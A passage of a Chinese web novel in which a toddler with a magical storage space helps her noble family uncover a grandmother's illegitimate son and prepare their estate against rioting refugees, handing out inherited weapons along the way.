阿沅这动作快得电光石火,孟柒根本来不及阻止。眼见行迹败露,他反应奇快,立刻捏着嗓子,冲着下方传出瓦片落地的方位,惟妙惟肖地学了一声被惊扰的野猫叫:“喵——呜——!” 与此同时,他手上动作快如幻影,以惊人的速度将最后两块瓦片严丝合缝地盖好,紧接着长臂一伸,一把捞起还没完全反应过来的阿沅,将她再次夹在腋下,足尖在屋脊上一点,人已如一道轻烟般向后飞掠。 “喵!喵!”为了掩饰那略显仓促的破风声,孟柒一面在庄院的屋宇间急速穿行,一面又连续发出几声逼真的猫叫,那叫声在夜风中飘散,带着几分被惊扰后的不满与慵懒。 几乎就在他动身的同时,来自不同方向、早已潜伏在阴影中的几道黑影,也如同收到了无声的指令,以惊人的默契与速度,齐齐撤向围墙之外,瞬息间便没入了沉沉的夜色之中,只余下白水庄大宅内渐起的骚动与灯火。 第64章 白弟城这个人 “我理解没错的话,”孟大川的声音低沉而缓慢,仿佛每个字都是从牙缝里挤出来,带着山雨欲来的压抑,“那边住着的,竟是老宋氏的姘夫?非但孟二泉跟我没有半分血缘关系,老宋氏那贱妇,在嫁入侯府之前,竟还藏着个奸生子?!” 话音未落,他双手猛地拍向轮椅的木质扶手,发出“砰”的一声闷响。 极致的愤怒竟像是一剂猛药,激得他气血上涌,身体在盛怒之下猛地向前一挣,双腿竟下意识地用力,带动着上半身撑离了轮椅而不自知。 孟沅第一个发现这惊人的变化。她那双琉璃般澄澈的大眼睛瞬间瞪得滚圆,小嘴微微张开,原本因听闻秘辛而为爹爹和老侯爷愤懑不平的小脸,霎时被难以置信的狂喜所取代。 她立刻转向娘亲,伸出小手指着爹爹微微离开椅面的双腿,激动得话都说不连贯:“娘……娘亲!看!爹爹……!”完全把先前对白水庄那对父子、对侯府腌臜事的满腔不忿暂时压了下去。 柳氏自然也看见了,心猛地一跳,惊喜如同潮水般涌上心头,但旋即又被担忧淹没——她生怕丈夫久未用力的腿脚承受不住,慌忙上前一步,伸出手想要搀扶,却又怕惊扰了这奇迹般的一刻,手僵在半空,眼中泪光盈盈。 “爹爹,您……您能站起来了?!”孟怀瑾向来沉静的面容也裂开了缝隙,他失声惊呼站了起来,声音里充满了激动。 这一声呼唤,才让孟大川骤然意识到自己身体的变化。他低头看去,只见自己的双脚确实踏在了坚实的地面上。一股陌生的、带着刺痛与酸麻的力量正从双腿传来,他试着稳住身形,腿脚却因长久不曾着力而虚软不堪,不由得踉跄了一下。 所有人同时屏住了呼吸。 孟大川咬紧牙关,额头瞬间沁出细密的汗珠,手臂肌肉贲张,死死按住轮椅扶手作为支撑。他颤颤巍巍地,终究是站定了,并且努力坚持着站立了片刻,感受着血液重新流向双腿的温热与刺痛。 但他深知此时不宜逞强,尝试着想要迈步,那腿却像灌了铅般不听使唤。最终,他身体摇摆了几下,带着几分不甘,又万分谨慎地,缓缓坐回了轮椅中。 “爹爹好了,带窝骑马马!”孟沅拍起了小手掌,清脆的掌声在凝重的气氛中显得格外悦耳。她凑上前,小手轻轻抚上爹爹的膝盖,动作温柔得像是在触碰易碎的珍宝。 柳氏眼中的泪水终于滚落,她一边用帕子拭泪,一边小声宽慰,声音哽咽却充满希望:“夫君,您也别太心急,这已经是天大的好转了。以后……以后妾身每日都扶您走几步,咱们慢慢来,总会越来越好的。” 孟大川的脸上也露出了久违的、发自内心的喜悦之色,这喜悦冲淡了些许方才的震怒。他宽慰地看向泪眼婆娑的妻子和喜笑颜开的女儿,再转向一旁同样面露激动之色的孟怀瑾。 再看向孟柒时候,脸色迅速恢复了沉静,低声吩咐道:“此事,先不要往外传,一丝风声也不得走漏。” 孟柒立刻收敛神色,拱手应道:“是,大人。庄里的佃户们都知道您被大火烧坏了身子,不良于行。为稳妥起见,大人最好白日里仍不出房门,即便夜间在院中活动,也请务必坐着轮椅,用厚毯子仔细盖住下半身。” 他顿了顿,那句“再装成半死不活、缠绵病榻的样子以麻痹暗中窥伺之人”实在太过僭越,在喉头滚了几滚,终究没敢说出口。 上次清理内院,又处置了两个被陈婆子一家收买的下人,院内应该是清静了。可谁又能保证,没有更深的钉子潜藏在庄子里呢? “爹爹,”孟沅忽然仰起小脸,黑葡萄似的眼珠转了转,想到一个被忽略的细节,“白弟城是谁?”她记得柒叔刚才汇报时,好像漏提了这个名字。 “白弟城?”孟大川眉头微蹙,目光转向孟柒。孟柒连忙点头确认:“回大人,小姐听得仔细。那老姘头,自称名为白弟城。” “白弟城……”孟大川沉吟片刻,记忆的碎片被慢慢拼凑,“老宋氏的姨母,嫁的夫家倒是姓白。” 他眉头皱得更紧,对孟柒交代道:“等这场大雪化尽,道路通畅之后,你暗中查查,京城城北的商贾白家,是不是有个儿子叫白弟城。” 他一边回忆一边缓缓道来:“老宋氏因嫁与老侯爷做了续弦,鸡犬升天,不久便为她那不成器的父亲谋了个外放的肥差,虽还是七品,却去了江南富庶之地。但她还有个姨母嫁在京城,所嫁的正是个商贾,姓白。老侯爷还在世时,她那表哥似乎来过侯府几次……模样生得,倒有几分周正。” 再后来……肯定还有往来,只是因与孟大川并无直接亲缘关系,他那时结婚生子,后来又政务缠身,未曾过多留心,具体名姓自然也就没刻意记下。 “阿沅啊!”孟大川心中有了计较,面色愈发凝重,他将女儿轻轻捞到自己的膝盖上,又看向端坐在柳氏身后、一直沉默聆听未曾插言的孟怀瑾,声音沉肃,“你们三个,都是爹爹的命根子,是爹爹身上最柔软的软肋。如今外人皆已窥破此点,竟想着用你们的性命来掣肘爹爹、摧毁爹爹了。你们需得知道这其中利害,日后万事,定要加倍小心。” 说完,他伸出手指,轻轻点了点阿沅娇俏的小鼻尖,语气转为无奈与宠溺的告诫:“特别是你这小淘气,心思活络,胆大包天,别再老想着甩开护卫,偷偷往外跑了。” “可要牢牢记住爹爹的话,别再任性妄为,枉费了爹爹千挑万选、安排来保护你们的护卫和暗卫的一片苦心。” 柳氏也看向女儿,眼中带着后怕与不悦,苦口婆心地劝道:“若真有个万一,没有了你们,让我和你爹爹……可怎么活得下去。” “窝寄到(我知道)!阿沅最乖了。”阿沅被父母接连叮嘱,有些心虚地摸了摸自己脑袋上翘起的小揪揪,眼珠一转,反而使出了“恶人先告状”的招数,小手指向哥哥,“嘚嘚(哥哥)不乖,不听发(不听话),他和先生还乱跑呢!” “噗呲!”孟柒第一个没忍住,喷笑出声,连日来的紧绷神色第一次被这童言稚语打破,露出了真切的笑容。 孟怀瑾也是猝不及防,冷峻的嘴角几不可察地轻轻弯了一下,他知道无需辩解,妹妹这是“祸水东引”,脸上很快又恢复了平日的严肃持重。 但孟柒这不厚道的一笑,立刻惹恼了正在“转移视线”的小阿沅。小家伙马上冲他举起白嫩嫩的小拳头,在空中虚挥了两下,小脸气鼓鼓的。 孟柒见状,十分配合地故作受了极大惊吓的模样,“哎呦”一声,夸张地往后连退了两步,才堪堪站定,眼里却满是笑意。 “白水庄这一家子,留在此处终究是个隐患,”笑闹过后,孟大川言归正传,眉宇间笼罩着思虑的阴云,“你们先去歇息吧。容我仔细想想,下一步该如何走,再做周全部署。但庄子的防护,必须即刻加强,昼夜巡查,不得有丝毫松懈。” 阿沅听到这话,忙不迭地转过身,把小拳头举得高高的,不是对着孟柒,而是冲着爹爹,黑白分明的大眼睛里闪过一丝与她年龄不符的冷光,脆生生地道:“那……就让他们屎(死)……” “死,很容易。”孟大川轻轻握住女儿那攥紧却依旧柔软的小拳头,包裹在自己的大掌中,语气莫测,“但是……他们眼下,或许还有些用处。” 阿沅偏着小脑袋,仔细想了想,眼睛骨碌骨碌转得飞快,一副灵光乍现、猛然醒悟的小机灵鬼模样,再来一句:“让……他们去狗咬狗!”稚嫩的声音,却说出了最直接残酷的解决之道。 这话让一旁垂手而立的孟柒眼神骤然一亮,不由得多看了这小小的人儿几眼,心中竟生出几分意外的钦佩。再看向孟大川时,眼神里充满了期待,似乎对小姐这直指核心的说法很是赞同。 孟大川并未立刻看孟柒,而是继续转向女儿,目光深邃:“爹爹明白你的意思。但总得让他们‘走’得‘安心’,自觉没有了后患,而且前程似锦,了无牵挂,心甘情愿地冲着侯府的泼天富贵去才行。” 他顿了顿,手指在轮椅扶手上轻轻敲击,仿佛在推演棋局,“白弟城……”他虚虚摸了一把并不存在的长须,语气变得幽深而带着丝丝寒意,显然心中已有成算。 “他必须抱着与孟二泉‘福禄共享、平分秋色’的心思进府,这出戏,才唱得起来,才唱得热闹。” 第65章 气氛有点不对 灾民的冲击并没有因为雪停而消停,反而是越演越烈,如同冬夜里的寒风,一阵紧过一阵。 缺衣少食、没有房子住的灾民拖儿带女出来闹事成了常态,孟柒他们带回的消息一次比一次沉重:附近几个庄子陆续遭了抢,有的甚至被灾民住了进去。镇上粮铺被砸开,铺子都不敢开门,有钱都买不到东西。 孟柒说这些时,眉头总是拧得紧紧的,声音压得低低的,生怕吓着屋里的女眷,可那字句里的血腥气却掩不住——有人为半袋糙米动了刀子,有老弱倒在雪地里再没起来,乱象已生,人心如沸。 “怪可怜的,要不咱们在庄子门口施点粥吧?”这天孟柒汇报完后,柳氏绞着手中的帕子,忽然轻声开口。她望向窗外,院角的积雪还未化尽,而是结成了冰,在阴沉天色下泛着灰白的光。 想到家中粮仓还有余粮,橱里还有旧衣,她那颗柔软的心便像被针尖轻轻扎着,丝丝缕缕地疼。 往年在京城,每逢灾患,官家开仓,大户施粥,是何等有序的景象!妇人们还会领着丫鬟收拾出半新的棉袄、厚实的裤袜,一包包送到粥棚边上。 如今这冰天雪地里,官府粮车进不来,镇上富户也自身难保,她总想着,多少能尽点绵薄之力,让那些熬过雪灾的人再多撑几日也好。 “不可!”孟大川和孟柒同时出声,语气斩钉截铁,没有半分转圜余地。 他撑着床沿直起身,脸色是从未有过的凝重;孟柒则上前半步,急急补充:“夫人,万万使不得!镇子上的富户有开了头施粥的,粥分完了,人却不散,哭喊推搡着闯进门去。有一户家丁护院少,挡都挡不住。全家十几口,没一个活到天明。” 他说到最后,喉头哽了哽,眼底闪过一丝痛色。柳氏听得脸色发白,指尖冰凉,再不敢提半个字。 孟柒稳了稳气息,又道:“如今灾民大多涌到了镇子上,人多粮少,饿红了眼的,什么事都做得出来。 连理正老爷,前几日都悄悄带着家小躲到山边亲戚家去了——他都不敢留在镇上,咱们庄子若开了这个头……”他摇摇头,未尽之言如沉重的石头压在每个人心上。 孟大川接过话头,声音低沉却清晰:“我们在庄子施粥,就如同在饿虎群前抛出一块肉。那不是救灾,那是招祸。灾民若聚而不散,早晚会冲垮庄门。咱们庄子本来就不严实,即使冰雪帮做了一道防护,可经不起成百上千人日夜围困。这事,绝对做不得。” 他说话时,目光扫过屋内众人,最后落在柳氏惊惶的脸上,缓了缓语气:“夫人的善心为夫明白,但眼下,先得护住这一庄子的人。” 一直偎在爹爹身侧的阿沅,原本听见“施粥”二字,眼睛亮晶晶地抬起了头——她有点期待粥棚的热闹,热气腾腾的大锅,排成长龙的百姓,还有娘亲吩咐丫鬟派发馒头时温柔的笑脸。可听着爹爹和柒叔一句接一句的话,她小小的心渐渐沉了下去。 她把脑袋轻轻靠在了爹爹的手臂上,软软的脸蛋贴着爹爹微凉的衣袖,不再吭声。自己那个“粮仓”,倒是有不少稻谷……可是一万多斤粮食,听着多,真拿出来,够救济多少人? 会不会像柒叔说的,大家抢来抢去,反而打起来,死更多人?她悄悄打了个寒噤,把心里那点跃跃欲试的念头用力按了下去。 唉,还是先明哲保身吧。 接下来的日子,天气并未如人所愿地好转。阴云总聚不散,时而还飘下冷雨,道路上的雪根本都化不开,反而结成了冰。 庄子的大门始终紧闭,门闩加了又加铁锁,护院巡逻的脚步声日夜不息。孟大川的腿伤倒是好了许多,在柳氏的搀扶下,已能颤巍巍在屋里走上十来步,只是每走几步便要停下喘口气,额上渗出细汗。 转眼到了四月十六。这天一早,气氛便有些不同寻常。早饭用得比平日快,柳氏眼角眉梢带着一丝不易察觉的紧绷。阿沅像往常一样,饭后就想往爹爹床上爬,耍赖讨个抱抱,再听听故事。 可今天,她刚蹭到床沿,就被孟大川轻轻按住了小肩膀:“爹爹昨晚没睡好,脑仁儿疼。” 孟大川揉了揉额角,声音带着倦意,却异常温和,“阿沅乖,去自己房里跟红袖她们玩截龙牌,让爹爹静静歇会儿。” 柳氏也走过来,揽住女儿小小的身子,软声哄道:“对,你们就待在屋里,哪也别去。待会儿娘亲让人送烤红薯进去,刚出炉的,又香又甜。”她说着,顺手将阿沅额前一缕翘起的头发捋顺,指尖却有些凉。 阿沅仰起脸,看看爹爹,又看看娘亲。爹爹虽然笑着,但嘴角的弧度有点紧;娘亲眼神游移,总往门外瞥。 她心里那根小小的“警觉天线”悄悄竖了起来——肯定有事!她没吵没闹,乖乖点头,牵住红袖伸过来的手,一步三回头地走了。 回到自己屋里,关上门,阿沅就坐不住了。红袖分好了牌,她却心不在焉,眼睛总往门缝那儿瞟。 莲子最是机灵,立刻自告奋勇当了“小探子”,把眼睛贴在门缝上,小声直播起来: “柒叔又往大爷屋里跑了一次,脚步匆匆的……又出去了……大少爷和杨先生也进去了,出来脸色都好吓人。” 过了一小会儿,她又压着嗓子报告:“守门的刘婆子被喊走了,往后院厨房方向去了……呀,现在守门的是前院的赵护卫,还拿了把好大的铜锁,把门从里头锁上了!” 阿沅心里咯噔一下。锁门?把婆子都支走?这架势,怕是真的要出事了!她扯了扯莲子的袖子,小声道:“泥去康康(你去看看)厨房,四不四(是不是)在做好柒(吃)的?” 一听说吃的,莲子眼睛倏地亮了,忍不住咽了咽口水:“又做好吃的?会不会做粘豆包?我奶做的粘豆包可好吃了,红豆馅儿甜丝丝的。要是有,我拿一大碗过来!”话音未落,人已经像只灵活的小松鼠,拉开门缝哧溜钻了出去。 第66章 坏人要冲进来了? 没过多久,莲子回来了,小脸上没了刚才的兴奋,倒有点垂头丧气。她怀里确实捧了个大陶碗,里面垒着五六个白胖胖的大馒头,还冒着微微热气。“唉,还不如上两次呢。” 她嘟着嘴把碗放下,“上回好歹有肉包子和白菜猪肉饺子。这回可好,厨房里好几个灶一起开火,全在蒸馒头!都蒸了十几屉了,堆得跟小山似的,厨娘们还在拼命揉面、上笼,看着就累得慌。”她拿起一个馒头,咬了一口,含糊不清地嘀咕:“路都快通了,难不成以后天天还吃大馒头呀?腻死了。” 五六岁的孩子,吃了几个月的好饭好菜,几乎忘了从前饥一顿饱一顿的日子,语气里竟带上了点小嫌弃。 “所有人都在厨房?”阿沅心里那点猜测越来越清晰。 “可不是嘛!”莲子把嘴里的馒头咽下去,“连服侍夫人的青衣、紫衣、秀姑、翠姑,四位姑姑都去了,挽着袖子在揉面呢!满厨房都是人,热气熏得人睁不开眼。” 紧接着,她像是想起了什么,皱起小眉头喃喃自语:“不过这回蒸好的馒头,没像以前那样抬到外头埋雪里存着。都用大箩筐装着,一筐一筐往各屋里抬。我方才回去放东西,看见我奶和我娘那屋,炕上、地上,连下脚的地方都快没了,全是馒头筐!”莲子有点闷闷不乐。 阿沅眼珠转了转,对绿果和红豆说:“泥们两个,也去厨房帮忙。放心,窝们就在屋里,哪都不去。”她本想让两人架着溜出去看看,是不是灾民已经到庄子外头了,但转念一想,若真到了那地步,外头早该有动静了。 现在最要紧的是别添乱。可心里那股好奇和担忧,像小猫爪子似的轻轻挠着,痒得难受。 “泥们先吃,窝去看烤红薯。”她对红袖几个说完,就踮着脚溜出了房门。红袖正专注于手里的大馒头——刚出锅的确实更筋道,比回蒸的香多了,看到小姐跟绿果和红豆出去的,一时也没跟出去。 阿沅一路小跑到正院,果然见院门关得紧紧的。她伸出小手,“咚咚咚”地拍起门板,声音又急又脆。 “谁呀?这么急!”里面传来柳氏的声音,带着几分不耐和紧张。 “娘亲,是窝(我)!”阿沅知道,这时候若不赶紧应声,肯定进不去。 “阿沅乖,听娘的话,好好在自己屋里呆着。”柳氏的声音软了些,但还是赶人的意思。 阿沅眨眨眼,把小手拢在嘴边,压低声音,神秘兮兮地对着门缝说:“娘亲,神仙姑姑……” 这招果然管用!里头静了一瞬,随即门“吱呀”一声开了条缝。柳氏一把将她拽进去,又迅速关上门,还轻轻捂住她的嘴,在她耳边急道:“我的小祖宗,别乱嚷嚷!等他们走了,再慢慢跟爹爹说。”说着,还紧张地望了望里屋方向。 阿沅得了准许,像只终于被放出笼子的小鹿,轻手轻脚却速度飞快地往里屋窜。 一进屋,也顾不上看坐在爹爹床前的那几个高大背影,嘴里喊着“爹爹”,噔噔噔就冲到床边,手脚并用,利索地往上爬——如今她爬床的功夫可是练得炉火纯青,再不用人抱了。 “你怎么把她放进来了?”孟大川看见女儿,先是一愣,随即看向跟进来的柳氏,语气里带着不赞同的责怪。 柳氏看着床前那几个人的背影,冲夫君飞快地使了个眼色,手指先悄悄指了指屋顶,又轻轻点了点正努力往爹爹怀里拱的阿沅。 孟大川瞬间明白了妻子的暗示——怕是“神仙姑姑”又给女儿提点过什么。他神色微缓,轻咳一声,对床前等候的四人沉声道:“好了,就按刚才议定的,尽快安排下去吧。庄子里所有男丁,十三岁以上的半大小子,都动起来,该准备的家伙、该守的位置,一样不能漏。各家各户领回去的白面、粗面,务必蒸足干粮。 传我的话:若是分下去的面做不完,或偷工减料,往后嘉禾庄的地,也没必要佃给他们种了。” 他的声音不高,却自有一股不容置疑的威严。床前四人齐齐拱手,低声应道:“是!属下(小人)遵命,定将大人吩咐安排妥当!” 四人中,阿沅只认得柒叔和那个常带着护卫操练的领队叔叔,另外两个面孔有些生,但看举止气度,也不像是普通庄户。阿沅窝在爹爹怀里,偷偷打量他们,心里的小算盘拨得啪啪响:爹爹手下,果然不止柒叔他们那么点呢! 四人鱼贯退出,屋内一时安静下来。女儿软软的小身子靠在自己胸前,带着奶香的热气呼在颈边,孟大川觉得心头那根紧绷的弦稍稍松了些。 他低头,看着女儿亮晶晶、清凌凌望着自己的眼睛,那里面没有害怕,只有全然的信赖和一点藏不住的小小得意。他忍不住伸手捏了捏她的小鼻头,温声问:“我们阿沅是不是猜到要发生什么事了?” “坏人要冲进来了?”阿沅晃晃脑袋,两只小拳头攥得紧紧的,在胸前比划了一下,做出凶巴巴的表情,“把他们打出去!爹爹和嘚嘚(哥哥)最厉害了!” 孟大川也没打算瞒她,也知道瞒不住,所以点了点头:“昨晚下午开始,庄子外就有灾民三三两两进行打探,今早又来了好几拨,今晚可能要出事。” “你这孩子……”柳氏在床沿坐下,又是心急又是好奇,忙不迭地问,“神仙姑姑是不是又给你支了什么招?好阿沅,快跟爹爹娘亲说说。”她看着腻在夫君怀里、一脸古灵精怪的女儿,方才的紧张慌乱莫名消散了不少。 她双手不自觉地合十,微闭了闭眼,心中默念:姑姑保佑!神仙保佑!若此番能平安度过,信女定为您重塑金身,日日焚香,诚心供奉! 阿沅看着爹娘期待的眼神,歪了歪小脑袋,眼睛弯成了月牙,故意卖了个关子:“爹爹和嘚嘚……要武器么?”她特意把“武器”两个字咬得轻轻的,带着神秘兮兮的味道。 “神仙姑姑给的?”孟大川几乎是脱口而出,心中升起希望。 阿沅摇摇头,又点点头,从爹爹怀里挣出来,挪到床沿边坐下。她先是看了看门口,确定无人,然后伸出短短的小胳膊,小手在床沿外的虚空里试探着一抓——仿佛那里挂着什么看不见的宝贝。 她转过头,冲爹爹甜甜一笑,小声道:“爹爹的,祖父的。”那模样,活像只偷到了香油的小老鼠,又得意又谨慎。 第67章 割掉……做公公 “叮叮当当,”一阵金属的声音乱响,从阿沅的手心落到了地板上。像变戏法似的,倒出了一堆长短不一、寒光闪闪的家伙什儿。 大刀厚重,剑锋雪亮,匕首精巧,一件压着一件,叮叮当当地滚落开来,撞在床沿又跌到地上,声音清脆杂乱,好不热闹。 最后稀里哗啦掉出来的,是几把有些年份的沉重大弓和几束用皮绳捆好的箭羽,箭镞闪着冷硬的乌光。 东西不算多,拢共也就几十件,可这么铺散在脚踏前、砖地上,竟也显得满当当的,透着一股子沉甸甸的、令人安心的锐气。 “阿沅怎么还想到收拾这些东西?”孟大川和柳氏看得都怔住了,脸上齐齐现出惊异之色。他们原以为女儿当初匆匆忙忙回侯府,只来得及收拾柳氏的嫁妆细软和些值钱的物事,哪里能料到,这小小的人儿,竟有这样的远虑,连这些“打打杀杀”的物事都惦记上了。 “祖父的,爹爹的,嘚嘚的。”阿沅见爹娘惊讶,立刻摇晃起小脑袋,两个小揪揪跟着甩动,脸上是藏不住的洋洋得意。她糯声糯气地,用最简短的词句宣布所有权,那意思再明白不过:反正就是我们家的! 她说完,还伸出小手指,点点地上的大刀,又虚虚指向爹爹,一副“我厉害吧?快夸我”的小模样。 孟大川夫妇俩对视一眼,半晌没吭声。这沉默却让阿沅误会了,她眨巴着大眼睛,看看爹,又看看娘,以为他们嫌少呢。小家伙没办法似的摊开两只小手,肩膀还微微耸了一下,小嘴也撇了撇:我也想把整个武库都搬来呀,可是原来家里那几间库房,找来找去,也就这么些了嘛。 “够了够了!”看小家伙那萌萌的样子,似乎还有点小失望,孟大川心里一软,连忙伸臂将她小小的身子揽进怀里,用带着胡茬的下巴蹭了蹭她的额头,“哥哥可以用大刀和长剑,别看爹爹——”他自嘲地拍了拍自己那条不太利索的腿,“现在这副身子骨不顶大用,但坐在轮椅上的、倚在墙根下,张弓放几箭总还是可以的。” “云娘,你虽然不出门,身上带把匕首,防身也是好的。”孟大川说出这话的同时,柳氏其实也正有此意。她已经弯腰从地上捡起一把看起来最趁手、刀鞘线条流畅的匕首,在手里掂了掂分量,又往自己的靴筒边比划,试着怎么安放才更稳当、更隐秘。 动作间竟不见多少闺阁女子的柔弱,反倒透着一股利落劲儿。 “爹爹,这把给莲子,这个……红袖。”孟大川还在琢磨是不是也该给阿沅寻一把最小的匕首防身,小家伙却已经挣脱他的怀抱,又趴回锦被上,开始摆弄她新取出来的“宝贝”——一把匕首,一把短刀,都配着镶有简单纹路的皮鞘,尺寸明显适合孩童的小手。 “给她们!”她明确地分配着。 “这个……是……爹爹……做给窝的吗?”最后,她左右开弓,一手举起一张制作极为精巧的小弓弩,弩身线条圆润,甚至雕着可爱的云纹;另一只手提起一个同样迷你、只装着四五支短箭的小箭筒。她举高了,亮晶晶的眼睛望着孟大川,满是期待。 “这个?”孟大川接过来细看,确实吃了一惊。他印象里自己从未做过这样的小玩意儿。儿子孟怀瑾小时候就显露出对书本的痴迷,对这些舞刀弄枪的东西向来兴趣缺缺,为此他当年还暗暗遗憾过。 他摩挲着光滑的弩身,带着疑惑又十分肯定地说:“定是祖父留给阿沅的。”想来是老爷子肯定认为以后还有个小子或者孙女,所以早早就备下了。 阿沅试着把弓弩往自己手腕上套,那皮质腕带对她的小手来说还是稍大了些,套了半天没套牢,她鼻尖微微皱起,似乎有点不高兴了。干脆放下弩,抓起那把她分配给自己、套着皮鞘的匕首。 “哈!”地一声在空气中胡乱挥舞了几下,小脸做出凶狠的表情,然后语出惊人:“欺负祖父……割掉……做公公!”那稚嫩的嗓音配上这般“狠辣”的宣言,反差实在令人愕然。 这话让夫妻俩一时哑然,哭笑不得,不知该如何应答。教导她女孩子家说话要文雅?此刻这境况下似乎又有些不合适。正犹豫间,刚好踱步进来的孟怀瑾在门边顿住了脚步,妹妹的话一字不落地听进耳中,心中似有热流触动,脸上却没什么表情。 他走进来,声音平稳地接过话头:“爹爹,若是庄子里男丁和武器确实不够,妇孺也可出力。用积雪捏实成球,看准了投掷出去,借着下落之势,威力未必就比挥舞锄头柴刀小。” 阿沅一听,立刻来了精神,模仿着鼓风吹火的架势,鼓起腮帮子“呼”地一吹,然后眼睛亮得像是落进了星星,急急补充道:“用冰块砸屎他!”说完,就那样亮晶晶地、充满期待地看向爹爹,仿佛在等待夸奖这个绝妙的主意。 “那倒也是,”孟大川也点点头,顺着这思路想下去,“有冰墙雪墙阻隔的三面,外面的人攀爬时本就艰难,滑下来必定心神不宁,趁他们脚底不稳、惊慌失措的时候,劈头盖脸砸下雪球冰块,确实能打他个措手不及。” 他感叹地看了看儿子,觉得这个喜欢读书的儿子,关键时刻并非不通实务。再看看女儿,更是个出其不意的小机灵,这份天不怕地不怕的劲儿,倒真有点像自己年轻的时候。 大人们的肯定让阿沅更加兴奋,她已经蹭到床边站了起来,一只小脚踩在脚踏上,继续挥舞她的小匕首,嘴里大声叫嚣着:“打脸……打脸!”仿佛已经看到了敌人被雪球砸中面门的狼狈模样。 “对,专打脸,”孟怀瑾走过去,轻轻拿过她手里乱挥的匕首放到一旁,免得她伤着自己,然后拿起那小弓弩,仔细地往她厚实棉衣的袖口上调试、套牢。 说到这种刀尖见血的事,他语气平静,非但自己毫无惧色,竟也没有刻意避开年幼的妹妹,而是像在讲授一项寻常技艺,“打得他们眼冒金星,看不清东西,我们才有机会近身,再一击制胜。” 看她听得认真,非但没有露出惊恐之色,小脸上反而满是专注,他又加了一句,声音压低了些,却更清晰:“待会儿我们到院子里去试一试。这手弩射程虽然不远,但发动快,无声无息,用得巧了,照样可以一箭封喉。” “嗯嗯嗯!窝……一箭一个!”阿沅的头立刻点得像小鸡啄米,兴奋得小脸通红,也顾不上那还不太合手的腕带了,双手一伸就紧紧搂住了哥哥的脖颈,整个人几乎要挂上去。 “阿沅还小呢!先练练架势就成,可不许真往人身上招呼!”孟大川和柳氏见状,连忙出声制止,生怕这两兄妹一时兴起,真做出什么危险举动。 柳氏更是抬手在孟怀瑾肩膀上不轻不重地拍了一记,又拉了他一把,语气严肃:“你们俩身边自有护卫周全体贴,紧要关头,你们最要紧的是护好自己,旁的事情,自有大人们担当,什么都不用你们冒险去做。” “保护爹爹!保护娘亲!” 阿沅却不管这些,右手奋力举起那已经套在腕上的小弓弩,高高地转移向幔帐。 幸亏箭筒还没挂上,短箭也未填入弩槽,不然那锦绣帐幔恐怕真要被她当成假想敌,射出几个透亮的窟窿来。她喊得斩钉截铁,仿佛自己已然是个能挽弓射敌的小小卫士了。 第68章 我有好主意 再回屋,阿沅神秘兮兮地把莲子和红袖拉到里间,从摸出那两把精致的小匕首,一人塞了一把。“给!防身,要带着哦!” 她压低了声音,小脸上一副“这可是重要东西”的表情,却并没有解释更多缘由,只眨巴着大眼睛,用“你们懂的”眼神看着她们。 “我回去给我娘和阿奶看,这是我的第一件宝贝!”莲子接过匕首,爱不释手地摩挲着刀鞘上的纹路,兴奋得脸蛋红扑扑的。她甚至等不及留下来用午饭,把那小巧的匕首小心地揣进怀里,就一蹦一跳地跑出去了。 不吃午饭的原因也很实在——整个院子飘散的都是蒸大馒头的朴素香气,小姑娘心里门儿清,中午肯定没什么油水好吃的。 倒是年岁稍大、心思也更细密的红袖,把玩着手里沉甸甸的匕首,看着小姐郑重的神情,再看看外头有点紧张的气氛,心里早已猜到了七八分,脸上不由得浮起担忧的阴云。 但她立刻挺直了小小的脊背,信誓旦旦地对阿沅说,语气急切,生怕小主人会害怕:“小姐别怕!有奴婢们在呢!就算……就算真有什么不好的事,伤得了奴婢,也绝没人能伤害得了小姐!”她说着,还笨拙而用力地比划了一个护卫的姿势,眼神里满是赤诚的护主之意。 “红袖,”阿沅托着腮,小眉头也皱了起来,像个真正忧心忡忡的小大人,“除了打打杀杀,就没有其他办法了么?” 她其实很担心,小脑袋里模模糊糊地想着,要是那些灾民被人鼓动起来,只要让坏人占到一点点便宜,他们就会觉得嘉禾庄好欺负,全都聚拢过来,那可怎么办呀。 “奴婢……奴婢不知道。”红袖本就不聪明,一下被问住了,眉头皱得更紧,只是下意识地更紧地握住了匕首柄,仿佛那是唯一的依仗,坚持重复着那句最朴素的话:“反正,奴婢跟绿果、红豆她们一起,拼死也会保护好小姐!” 掰着刚出锅、还冒着腾腾热气的白面大馒头,一小块一小块地往嘴巴里送,阿沅和红袖头碰着头,掰扯着想了老半天,小脑袋瓜里转来转去,也想不出什么更好的法子。 最后,两个小人儿对视一眼,不约而同地、带着点无奈的狠劲儿,总结成最简单的一个字:“打!”仿佛这样就能把烦恼都打跑。 不知不觉,一个比阿沅小手还大的馒头,被她就着甜汤,一点点装进了小小的肚子里,撑得小肚子圆滚滚的。她满足地(也有点撑得慌地)呼了口气,然后很有气势地小手一挥,对红袖吩咐道:“泥去睡觉!养足精神,今晚可能要‘打仗’!”那口气,活像个即将出征的小将军。 她自己却很快溜进了空间。先在实验室里转了一圈,摸摸这个烧杯,看看那个仪器,没有找到比弓弩更小巧趁手的新奇武器。又蹬蹬蹬跑去休息室,扒拉着储藏柜,清点里面剩余的迷药、毒药够不够用,小脑袋里各种念头纷乱,还是想不出万全之策。 最后,脑力耗尽的她,干脆瘫在休息室那张柔软的小床上,眼皮越来越沉,不一会儿又睡熟了。 又做梦了。 梦里不再是具体的景象,而是奔流不息、涛声震耳的河水,湍急得吓人,后浪凶猛推着前浪,朝着一个方向滚滚而去,势不可挡。 那水势,既不像她印象中浩荡的长江,也不像浑浊的黄河,只是一片无边无际、充满力量的水世界。更奇的是,耳边竟清晰响起杨洪基老师那浑厚磅礴的歌声,正是《三国演义》那首主题曲,歌声与梦中奔腾的河水奇异地应和着,气势恢宏:“滚滚长江东逝水,浪花淘尽英雄……” 直到出了空间,躺回自己那张铺着厚棉褥的小床上,阿沅还觉得那雄浑的旋律和歌词在耳边嗡嗡作响,来回盘旋。可怪的是,来来去去似乎总是前面那一两句,后面的怎么也想不起来了。 “什么意思啊?”阿沅皱起了小小的眉头,在黑暗里眨巴着眼睛,不得其解。但她心里有种模糊的感觉,这一定是“空间大大”给她的某种提示,就像以前给过她的一样。 “长江……东逝水,浪花……英雄。”她翻了个身,把脸埋进枕头里,小声嘀咕着,“不明白,真的不明白。” “河里就是水,水往东流。能有浪花和英雄什么事?”阿沅有点懊恼地捶了一下软软的被子,觉得自己知识太浅薄了。早知道前世学文科就好了,要是学现代汉语言文学,肯定能读懂这些诗句背后的意思,偏偏学了个什么农学,还是水稻种植方向的!真是气死个人了。 